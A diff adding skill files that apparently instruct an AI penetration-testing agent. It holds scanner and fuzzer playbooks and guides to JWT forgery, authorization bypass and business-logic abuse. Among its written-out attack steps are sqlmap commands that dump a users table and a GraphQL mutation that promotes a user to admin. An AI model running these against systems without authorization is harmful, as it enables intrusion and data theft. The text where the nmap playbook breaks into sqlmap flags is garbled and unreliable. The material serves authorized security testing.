+ +Usage rules: +- Prefer explicit matcher/filter strategy (`-mc`/`-fc`/`-fs`) over default-only output. +- Start conservative (`-rate`, `-t`) and scale only if target tolerance is known. +- Do not use `-h`/`--help` during normal execution unless absolutely necessary. + +Failure recovery: +- If ffuf drops into interactive mode, send `C-c` and rerun with `-noninteractive`. +- If response noise is too high, tighten `-mc/-fc/-fs` instead of increasing load. +- If runtime is too long, lower `-rate/-t` and tighten scope. + +If uncertain, query web_search with: +`site:github.com/ffuf/ffuf README` diff --git a/imported-skills/strix/skills/tooling/httpx.md b/imported-skills/strix/skills/tooling/httpx.md new file mode 100644 index 0000000000000000000000000000000000000000..02faa1dd0b85266149c8d8e5a2a22c8928ad6a02 --- /dev/null +++ b/imported-skills/strix/skills/tooling/httpx.md @@ -0,0 +1,77 @@ +--- +name: httpx +description: ProjectDiscovery httpx probing syntax, exact probe flags, and automation-safe output patterns. +--- + +# httpx CLI Playbook + +Official docs: +- https://docs.projectdiscovery.io/opensource/httpx/usage +- https://docs.projectdiscovery.io/opensource/httpx/running +- https://github.com/projectdiscovery/httpx + +Canonical syntax: +`httpx [flags]` + +High-signal flags: +- `-u, -target ` single target +- `-l, -list ` target list +- `-nf, -no-fallback` probe both HTTP and HTTPS +- `-nfs, -no-fallback-scheme` do not auto-switch schemes +- `-sc` status code +- `-title` page title +- `-server, -web-server` server header +- `-td, -tech-detect` technology detection +- `-fr, -follow-redirects` follow redirects +- `-mc ` / `-fc ` match or filter status codes +- `-path ` probe specific paths +- `-p, -ports ` probe custom ports +- `-proxy, -http-proxy ` proxy target requests +- `-tlsi, -tls-impersonate` experimental TLS impersonation +- `-j, -json` JSONL output +- `-sr, -store-response` store request/response artifacts +- `-srd, -store-response-dir ` custom directory for stored artifacts +- `-silent` compact output +- `-rl ` requests/second cap +- `-t ` threads +- `-timeout ` request timeout +- `-retries ` retry attempts +- `-o ` output file + +Agent-safe baseline for automation: +`httpx -l hosts.txt -sc -title -server -td -fr -timeout 10 -retries 1 -rl 50 -t 25 -silent -j -o httpx.jsonl` + +Common patterns: +- Quick live+fingerprint check: + `httpx -l hosts.txt -sc -title -server -td -silent -o httpx.txt` +- Probe known admin paths: + `httpx -l hosts.txt -path /,/login,/admin -sc -title -silent -j -o httpx_paths.jsonl` +- Probe both schemes explicitly: + `httpx -l hosts.txt -nf -sc -title -silent` +- Vhost detection pass: + `httpx -l hosts.txt -vhost -sc -title -silent -j -o httpx_vhost.jsonl` +- Proxy-instrumented probing: + `httpx -l hosts.txt -sc -title -proxy http://127.0.0.1:48080 -silent -j -o httpx_proxy.jsonl` +- Response-storage pass for downstream content parsing: + `httpx -l hosts.txt -fr -sr -srd recon/httpx_store -sc -title -server -cl -ct -location -probe -silent` + +Critical correctness rules: +- For machine parsing, prefer `-j -o `. +- Keep `-rl` and `-t` explicit for reproducible throughput. +- Use `-nf` when you need dual-scheme probing from host-only input. +- When using `-path` or `-ports`, keep scope tight to avoid accidental scan inflation. +- Use `-sr -srd ` when later steps need raw response artifacts (JS/route extraction, grepping, replay). + +Usage rules: +- Use `-silent` for pipeline-friendly output. +- Use `-mc/-fc` when downstream steps depend on specific response classes. +- Prefer `-proxy` flag over global proxy env vars when only httpx traffic should be proxied. +- Do not use `-h`/`--help` for routine runs unless absolutely necessary. + +Failure recovery: +- If too many timeouts occur, reduce `-rl/-t` and/or increase `-timeout`. +- If output is noisy, add `-fc` filters or `-fd` duplicate filtering. +- If HTTPS-only probing misses HTTP services, rerun with `-nf` (and avoid `-nfs`). + +If uncertain, query web_search with: +`site:docs.projectdiscovery.io httpx usage` diff --git a/imported-skills/strix/skills/tooling/katana.md b/imported-skills/strix/skills/tooling/katana.md new file mode 100644 index 0000000000000000000000000000000000000000..eaf3d00641e8ba371ed9f81a8a5383aa3336e2a5 --- /dev/null +++ b/imported-skills/strix/skills/tooling/katana.md @@ -0,0 +1,76 @@ +--- +name: katana +description: Katana crawler syntax, depth/js/known-files behavior, and stable concurrency controls. +--- + +# Katana CLI Playbook + +Official docs: +- https://docs.projectdiscovery.io/opensource/katana/usage +- https://docs.projectdiscovery.io/opensource/katana/running +- https://github.com/projectdiscovery/katana + +Canonical syntax: +`katana [flags]` + +High-signal flags: +- `-u, -list ` target URL(s) +- `-d, -depth ` crawl depth +- `-jc, -js-crawl` parse JavaScript-discovered endpoints +- `-jsl, -jsluice` deeper JS parsing (memory intensive) +- `-kf, -known-files ` known-file crawling mode +- `-proxy ` explicit proxy setting +- `-c, -concurrency ` concurrent fetchers +- `-p, -parallelism ` concurrent input targets +- `-rl, -rate-limit ` request rate limit +- `-timeout ` request timeout +- `-retry ` retry count +- `-ef, -extension-filter ` extension exclusions +- `-tlsi, -tls-impersonate` experimental JA3/TLS impersonation +- `-hl, -headless` enable hybrid headless crawling +- `-sc, -system-chrome` use local Chrome for headless mode +- `-ho, -headless-options ` extra Chrome options (for example proxy-server) +- `-nos, -no-sandbox` run Chrome headless with no-sandbox +- `-noi, -no-incognito` disable incognito in headless mode +- `-cdd, -chrome-data-dir ` persist browser profile/session +- `-xhr, -xhr-extraction` include XHR endpoints in JSONL output +- `-silent`, `-j, -jsonl`, `-o ` output controls + +Agent-safe baseline for automation: +`mkdir -p crawl && katana -u https://target.tld -d 3 -jc -kf robotstxt -c 10 -p 10 -rl 50 -timeout 10 -retry 1 -ef png,jpg,jpeg,gif,svg,css,woff,woff2,ttf,eot,map -silent -j -o crawl/katana.jsonl` + +Common patterns: +- Fast crawl baseline: + `katana -u https://target.tld -d 3 -jc -silent` +- Deeper JS-aware crawl: + `katana -u https://target.tld -d 5 -jc -jsl -kf all -c 10 -p 10 -rl 50 -o katana_urls.txt` +- Multi-target run with JSONL output: + `katana -list urls.txt -d 3 -jc -silent -j -o katana.jsonl` +- Headless crawl with local Chrome: + `katana -u https://target.tld -hl -sc -nos -xhr -j -o crawl/katana_headless.jsonl` +- Headless crawl through proxy: + `katana -u https://target.tld -hl -sc -ho proxy-server=http://127.0.0.1:48080 -j -o crawl/katana_proxy.jsonl` + +Critical correctness rules: +- `-kf` must be followed by one of `all`, `robotstxt`, or `sitemapxml`. +- Use documented `-hl` for headless mode. +- `-proxy` expects a single proxy URL string (for example `http://127.0.0.1:8080`). +- `-ho` expects comma-separated Chrome options (example: `-ho --disable-gpu,proxy-server=http://127.0.0.1:8080`). +- For `-kf`, keep depth at least `-d 3` so known files are fully covered. +- If writing to a file, ensure parent directory exists before `-o`. + +Usage rules: +- Keep `-d`, `-c`, `-p`, and `-rl` explicit for reproducible runs. +- Use `-ef` early to reduce static-file noise before fuzzing. +- Prefer `-proxy` over environment proxy variables when proxying only Katana traffic. +- Use `-hc` only for one-time diagnostics, not routine crawling loops. +- Do not use `-h`/`--help` for routine runs unless absolutely necessary. + +Failure recovery: +- If crawl runs too long, lower `-d` and optionally add `-ct`. +- If memory spikes, disable `-jsl` and lower `-c/-p`. +- If headless fails with Chrome errors, drop `-sc` or install system Chrome. +- If output is noisy, tighten scope and add `-ef` filters. + +If uncertain, query web_search with: +`site:docs.projectdiscovery.io katana usage` diff --git a/imported-skills/strix/skills/tooling/naabu.md b/imported-skills/strix/skills/tooling/naabu.md new file mode 100644 index 0000000000000000000000000000000000000000..16f5504047c935cb151b98d3932c43a1d7c02483 --- /dev/null +++ b/imported-skills/strix/skills/tooling/naabu.md @@ -0,0 +1,68 @@ +--- +name: naabu +description: Naabu port-scanning syntax with host input, scan-type, verification, and rate controls. +--- + +# Naabu CLI Playbook + +Official docs: +- https://docs.projectdiscovery.io/opensource/naabu/usage +- https://docs.projectdiscovery.io/opensource/naabu/running +- https://github.com/projectdiscovery/naabu + +Canonical syntax: +`naabu [flags]` + +High-signal flags: +- `-host ` single host +- `-list, -l ` hosts list +- `-p ` explicit ports (supports ranges) +- `-top-ports ` top ports profile +- `-exclude-ports ` exclusions +- `-scan-type ` SYN or CONNECT scan +- `-Pn` skip host discovery +- `-rate ` packets per second +- `-c ` worker count +- `-timeout ` per-probe timeout in milliseconds +- `-retries ` retry attempts +- `-proxy ` SOCKS5 proxy +- `-verify` verify discovered open ports +- `-j, -json` JSONL output +- `-silent` compact output +- `-o ` output file + +Agent-safe baseline for automation: +`naabu -list hosts.txt -top-ports 100 -scan-type c -Pn -rate 300 -c 25 -timeout 1000 -retries 1 -verify -silent -j -o naabu.jsonl` + +Common patterns: +- Top ports with controlled rate: + `naabu -list hosts.txt -top-ports 100 -scan-type c -rate 300 -c 25 -timeout 1000 -retries 1 -verify -silent -o naabu.txt` +- Focused web-ports sweep: + `naabu -list hosts.txt -p 80,443,8080,8443 -scan-type c -rate 300 -c 25 -timeout 1000 -retries 1 -verify -silent` +- Single-host quick check: + `naabu -host target.tld -p 22,80,443 -scan-type c -rate 300 -c 25 -timeout 1000 -retries 1 -verify` +- Root SYN mode (if available): + `sudo naabu -list hosts.txt -top-ports 100 -scan-type syn -rate 500 -c 25 -timeout 1000 -retries 1 -verify -silent` + +Critical correctness rules: +- Use `-scan-type connect` when running without root/privileged raw socket access. +- Always set `-timeout` explicitly; it is in milliseconds. +- Set `-rate` explicitly to avoid unstable or noisy scans. +- `-timeout` is in milliseconds, not seconds. +- Keep port scope tight: prefer explicit important ports or a small `-top-ports` value unless broader coverage is explicitly required. +- Do not spam traffic; start with the smallest useful port set and conservative rate/worker settings. +- Prefer `-verify` before handing ports to follow-up scanners. + +Usage rules: +- Keep host discovery behavior explicit (`-Pn` or default discovery). +- Use `-j -o ` for automation pipelines. +- Prefer `-p 22,80,443,8080,8443` or `-top-ports 100` before considering larger sweeps. +- Do not use `-h`/`--help` for normal flow unless absolutely necessary. + +Failure recovery: +- If privileged socket errors occur, switch to `-scan-type c`. +- If scans are slow or lossy, lower `-rate`, lower `-c`, and tighten `-p`/`-top-ports`. +- If many hosts appear down, compare runs with and without `-Pn`. + +If uncertain, query web_search with: +`site:docs.projectdiscovery.io naabu usage` diff --git a/imported-skills/strix/skills/tooling/nmap.md b/imported-skills/strix/skills/tooling/nmap.md new file mode 100644 index 0000000000000000000000000000000000000000..e724a4873f40af1d67df06d25d3a2d1272c84baa --- /dev/null +++ b/imported-skills/strix/skills/tooling/nmap.md @@ -0,0 +1,66 @@ +--- +name: nmap +description: Canonical Nmap CLI syntax, two-pass scanning workflow, and sandbox-safe bounded scan patterns. +--- + +# Nmap CLI Playbook + +Official docs: +- https://nmap.org/book/man-briefoptions.html +- https://nmap.org/book/man.html +- https://nmap.org/book/man-performance.html + +Canonical syntax: +`nmap [Scan Type(s)] [Options] {target specification}` + +High-signal flags: +- `-n` skip DNS resolution +- `-Pn` skip host discovery when ICMP/ping is filtered +- `-sS` SYN scan (root/privileged) +- `-sT` TCP connect scan (no raw-socket privilege) +- `-sV` detect service versions +- `-sC` run default NSE scripts +- `-p ` explicit ports (`-p-` for all TCP ports) +- `--top-ports ` quick common-port sweep +- `--open` show only hosts with open ports +- `-T<0-5>` timing template (`-T4` common) +- `--max-retries ` cap retransmissions +- `--host-timeout
--columns`, `-D -T
-C --dump` +- `--flush-session` clear cached scan state + +Agent-safe baseline for automation: +`sqlmap -u "https://target.tld/item?id=1" -p id --batch --level 2 --risk 1 --threads 5 --timeout 10 --retries 1 --random-agent` + +Common patterns: +- Baseline injection check: + `sqlmap -u "https://target.tld/item?id=1" -p id --batch --level 2 --risk 1 --threads 5` +- POST parameter testing: + `sqlmap -u "https://target.tld/login" --data "user=admin&pass=test" -p pass --batch --level 2 --risk 1` +- Form-driven testing: + `sqlmap -u "https://target.tld/login" --forms --batch --level 2 --risk 1 --random-agent` +- Enumerate DBs: + `sqlmap -u "https://target.tld/item?id=1" -p id --batch --dbs` +- Enumerate tables in DB: + `sqlmap -u "https://target.tld/item?id=1" -p id --batch -D appdb --tables` +- Dump selected columns: + `sqlmap -u "https://target.tld/item?id=1" -p id --batch -D appdb -T users -C id,email,role --dump` + +Critical correctness rules: +- Always include `--batch` in automation to avoid interactive prompts. +- Keep target parameter explicit with `-p` when possible. +- Use `--flush-session` when retesting after request/profile changes. +- Start conservative (`--level 1-2`, `--risk 1`) and escalate only when needed. + +Usage rules: +- Keep authenticated context (`--cookie`/`--headers`) aligned with manual validation state. +- Prefer narrow extraction (`-D/-T/-C`) over broad dump-first behavior. +- Do not use `-h`/`--help` during normal execution unless absolutely necessary. + +Failure recovery: +- If results conflict with manual testing, rerun with `--flush-session`. +- If blocked by filtering/WAF, reduce `--threads` and test targeted `--tamper` chains. +- If initial detection misses likely injection, increment `--level`/`--risk` gradually. + +If uncertain, query web_search with: +`site:github.com/sqlmapproject/sqlmap/wiki/usage sqlmap ` diff --git a/imported-skills/strix/skills/tooling/subfinder.md b/imported-skills/strix/skills/tooling/subfinder.md new file mode 100644 index 0000000000000000000000000000000000000000..f494ab2f5357e4d5761f9937250dba8711c13d2b --- /dev/null +++ b/imported-skills/strix/skills/tooling/subfinder.md @@ -0,0 +1,66 @@ +--- +name: subfinder +description: Subfinder passive subdomain enumeration syntax, source controls, and pipeline-ready output patterns. +--- + +# Subfinder CLI Playbook + +Official docs: +- https://docs.projectdiscovery.io/opensource/subfinder/usage +- https://docs.projectdiscovery.io/opensource/subfinder/running +- https://github.com/projectdiscovery/subfinder + +Canonical syntax: +`subfinder [flags]` + +High-signal flags: +- `-d ` single domain +- `-dL ` domain list +- `-all` include all sources +- `-recursive` use recursive-capable sources +- `-s ` include specific sources +- `-es ` exclude specific sources +- `-rl ` global rate limit +- `-rls ` per-source rate limits +- `-proxy ` proxy outbound source requests +- `-silent` compact output +- `-o ` output file +- `-oJ, -json` JSONL output +- `-cs, -collect-sources` include source metadata (`-oJ` output) +- `-nW, -active` show only active subdomains +- `-timeout ` request timeout +- `-max-time ` overall enumeration cap + +Agent-safe baseline for automation: +`subfinder -d example.com -all -recursive -rl 20 -timeout 30 -silent -oJ -o subfinder.jsonl` + +Common patterns: +- Standard passive enum: + `subfinder -d example.com -silent -o subs.txt` +- Broad-source passive enum: + `subfinder -d example.com -all -recursive -silent -o subs_all.txt` +- Multi-domain run: + `subfinder -dL domains.txt -all -recursive -rl 20 -silent -o subfinder_out.txt` +- Source-attributed JSONL output: + `subfinder -d example.com -all -oJ -cs -o subfinder_sources.jsonl` +- Passive enum via explicit proxy: + `subfinder -d example.com -all -recursive -proxy http://127.0.0.1:48080 -silent -oJ -o subfinder_proxy.jsonl` + +Critical correctness rules: +- `-cs` is useful only with JSON output (`-oJ`). +- Many sources require API keys in provider config; low results can be config-related, not target-related. +- `-nW` performs active resolution/filtering and can drop passive-only hits. +- Keep passive enum first, then validate with `httpx`. + +Usage rules: +- Keep output files explicit when chaining to `httpx`/`nuclei`. +- Use `-rl/-rls` when providers throttle aggressively. +- Do not use `-h`/`--help` for routine tasks unless absolutely necessary. + +Failure recovery: +- If results are unexpectedly low, rerun with `-all` and verify provider config/API keys. +- If provider errors appear, lower `-rl` and apply `-rls` per source. +- If runs take too long, lower scope or split domain batches. + +If uncertain, query web_search with: +`site:docs.projectdiscovery.io subfinder usage` diff --git a/imported-skills/strix/skills/vulnerabilities/authentication_jwt.md b/imported-skills/strix/skills/vulnerabilities/authentication_jwt.md new file mode 100644 index 0000000000000000000000000000000000000000..8897ca3dce3d02de0a5ec15a94168ae4fa3a10bd --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/authentication_jwt.md @@ -0,0 +1,156 @@ +--- +name: authentication-jwt +description: JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation +--- + +# Authentication / JWT / OIDC + +JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context. + +## Attack Surface + +- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2 +- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows +- First-party and microservices verification, gateways, and JWKS distribution + +## Reconnaissance + +### Endpoints + +- Well-known: `/.well-known/openid-configuration`, `/oauth2/.well-known/openid-configuration` +- Keys: `/jwks.json`, rotating key endpoints, tenant-specific JWKS +- Auth: `/authorize`, `/token`, `/introspect`, `/revoke`, `/logout`, device code endpoints +- App: `/login`, `/callback`, `/refresh`, `/me`, `/session`, `/impersonate` + +### Token Features + +- Headers: `{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}` +- Claims: `{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}` +- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option (`"b64":false`) and critical headers (`"crit"`) + +## Key Vulnerabilities + +### Signature Verification + +- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned +- "none" algorithm acceptance: set `"alg":"none"` and drop the signature if libraries accept it +- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures + +### Header Manipulation + +- **kid injection**: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or pointing to world-readable files +- **jku/x5u abuse**: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys +- **jwk header injection**: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys +- **SSRF via remote key fetch**: exploit JWKS URL fetching to reach internal hosts + +### Key and Cache Issues + +- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg +- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services +- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs) + +### Claims Validation Gaps + +- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience +- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak +- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens +- typ/cty not enforced: accept ID token where access token required (token confusion) + +### Token Confusion and OIDC + +- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ +- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B +- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier +- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login +- Device/Backchannel flows: codes and tokens accepted by unintended clients or services + +### Refresh and Session + +- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection +- Long-lived JWTs with no revocation: persistent access post-logout +- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies + +### Transport and Storage + +- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF +- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses +- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device + +## Advanced Techniques + +### Microservices and Gateways + +- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services +- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims +- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay + +### JWS Edge Cases + +- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths +- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored + +## Special Contexts + +### Mobile + +- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens +- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible + +### SSO Federation + +- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens + +## Chaining Attacks + +- XSS → token theft → replay across services with weak audience checks +- SSRF → fetch private JWKS → sign tokens accepted by internal services +- Host header poisoning → OIDC redirect_uri poisoning → code capture +- IDOR in sessions/impersonation endpoints → mint tokens for other users + +## Testing Methodology + +1. **Inventory issuers/consumers** - Identity providers, API gateways, services, mobile/web clients +2. **Capture tokens** - Access and ID tokens for multiple roles; note header, claims, signature +3. **Map verification endpoints** - `/.well-known`, `/jwks.json` +4. **Build matrix** - Token Type × Audience × Service; attempt cross-use +5. **Mutate components** - Headers (alg, kid, jku/x5u/jwk), claims (iss/aud/azp/sub/exp), signatures +6. **Verify enforcement** - What is actually checked vs assumed + +## Validation + +1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS) +2. Demonstrate access token vs ID token confusion at an API +3. Prove refresh token reuse without rotation detection or revocation +4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control +5. Provide owner vs non-owner evidence with identical requests differing only in token context + +## False Positives + +- Token rejected due to strict audience/issuer enforcement +- Key pinning with JWKS whitelist and TLS validation +- Short-lived tokens with rotation and revocation on logout +- ID token not accepted by APIs that require access tokens + +## Impact + +- Account takeover and durable session persistence +- Privilege escalation via claim manipulation or cross-service acceptance +- Cross-tenant or cross-application data access +- Token minting by attacker-controlled keys or endpoints + +## Pro Tips + +1. Pin verification to issuer and audience; log and diff claim sets across services +2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk) +3. Test token reuse across all services; many backends only check signature, not audience/typ +4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks +5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up +6. Try DPoP/mTLS absence to replay tokens from different devices +7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping +8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC +9. Favor minimal PoCs that clearly show cross-context acceptance and durable access +10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each + +## Summary + +Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion. diff --git a/imported-skills/strix/skills/vulnerabilities/broken_function_level_authorization.md b/imported-skills/strix/skills/vulnerabilities/broken_function_level_authorization.md new file mode 100644 index 0000000000000000000000000000000000000000..8b303c9f4d9ae09acca0de98ae4cb29d07414f38 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/broken_function_level_authorization.md @@ -0,0 +1,154 @@ +--- +name: broken-function-level-authorization +description: BFLA testing for action-level authorization failures across endpoints, admin functions, and API operations +--- + +# Broken Function Level Authorization (BFLA) + +BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action. + +## Attack Surface + +- Vertical authz: privileged/admin/staff-only actions reachable by basic users +- Feature gates: toggles enforced at edge/UI, not at core services +- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks +- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges +- Background workers/jobs performing actions without re-checking authz + +## High-Value Actions + +- Role/permission changes, impersonation/sudo, invite/accept into orgs +- Approve/void/refund/credit issuance, price/plan overrides +- Export/report generation, data deletion, account suspension/reactivation +- Feature flag toggles, quota/grant adjustments, license/seat changes +- Security settings: 2FA reset, email/phone verification overrides + +## Reconnaissance + +### Surface Enumeration + +- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway +- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints +- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection) +- Mobile clients often reveal extra endpoints/roles in app bundles or network logs + +### Signals + +- 401/403 on UI but 200 via direct API call; differing status codes across transports +- Actions succeed via background jobs when direct call is denied +- Changing only headers (role/org) alters access without token change + +## Key Vulnerabilities + +### Verb Drift and Aliases + +- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method +- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web) + +### Edge vs Core Mismatch + +- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF +- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence + +### Feature Flag Bypass + +- Client-checked feature gates; call backend endpoints directly +- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools + +### Batch Job Paths + +- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs +- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller + +### Content-Type Paths + +- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser + +## Advanced Techniques + +### GraphQL + +- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields +- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms + +```graphql +mutation Promote($id:ID!){ + a: updateUser(id:$id, role: ADMIN){ id role } +} +``` + +### gRPC + +- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role +- Reflection lists services/methods; call admin methods that the gateway hid + +### WebSocket + +- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate) +- Try emitting privileged actions after joining standard channels + +### Multi-Tenant + +- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token + +### Microservices + +- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz + +## Bypass Techniques + +### Header Trust + +- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins + +### Route Shadowing + +- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains + +### Idempotency and Retries + +- Retry or replay finalize/approve endpoints that apply state without checking actor on each call + +### Cache Key Confusion + +- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps + +## Testing Methodology + +1. **Build Actor × Action matrix** - Unauth, basic, premium, staff/admin; enumerate actions per role +2. **Obtain tokens/sessions** - For each role +3. **Exercise every action** - Across all transports and encodings (JSON, form, multipart), including method overrides +4. **Vary headers and selectors** - Org/tenant/project; test behind gateway vs direct-to-service +5. **Include background flows** - Job creation/finalization, webhooks, queues; confirm re-validation + +## Validation + +1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails +2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement +3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success +4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources + +## False Positives + +- Read-only endpoints mislabeled as admin but publicly documented +- Feature toggles intentionally open to all roles for preview/beta with clear policy +- Simulated environments where admin endpoints are stubbed with no side effects + +## Impact + +- Privilege escalation to admin/staff actions +- Monetary/state impact: refunds/credits/approvals without authorization +- Tenant-wide configuration changes, impersonation, or data deletion +- Compliance and audit violations due to bypassed approval workflows + +## Pro Tips + +1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC +2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings +3. Inspect gateways for identity header injection; never trust client-provided identity +4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor +5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token + +## Summary + +Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks. diff --git a/imported-skills/strix/skills/vulnerabilities/business_logic.md b/imported-skills/strix/skills/vulnerabilities/business_logic.md new file mode 100644 index 0000000000000000000000000000000000000000..82670bf38ef3dcc65d37a9ec40bea593cac6eda1 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/business_logic.md @@ -0,0 +1,178 @@ +--- +name: business-logic +description: Business logic testing for workflow bypass, state manipulation, and domain invariant violations +--- + +# Business Logic Flaws + +Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads. + +## Attack Surface + +- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks +- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion +- Authorization-by-logic: feature gates, role transitions, approval workflows +- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing +- Multi-tenant isolation: cross-organization data or action bleed +- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency + +## High-Value Targets + +- Pricing/cart: price locks, quote to order, tax/shipping computation +- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement +- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys +- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability +- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting +- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges +- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags +- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters + +## Reconnaissance + +### Workflow Mapping + +- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints +- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions +- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription) + +### Input Surface + +- Hidden fields and client-computed totals; server must recompute on trusted sources +- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation +- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes + +### State and Time Axes + +- Replays: resubmit stale finalize/confirm requests +- Out-of-order: call finalize before verify; refund before capture; cancel after ship +- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges + +## Key Vulnerabilities + +### State Machine Abuse + +- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition +- Replay prior steps with altered parameters (e.g., swap price after approval but before capture) +- Split a single constrained action into many sub-actions under the threshold (limit slicing) + +### Concurrency and Idempotency + +- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer) +- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache +- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund + +### Numeric and Currency + +- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries +- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order +- Negative 